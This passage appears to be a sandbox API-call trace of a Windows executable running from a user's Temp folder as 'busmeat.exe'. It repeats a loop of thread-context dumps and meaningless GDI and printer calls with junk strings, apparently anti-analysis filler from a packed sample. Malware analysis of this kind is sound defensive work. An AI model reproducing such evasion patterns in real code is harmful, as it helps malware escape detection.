	[0066.242] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.242] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.243] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.243] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.243] GetConsoleCP () returned 0x0
	[0066.243] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.243] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.244] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.244] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.244] GetConsoleCP () returned 0x0
	[0066.244] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 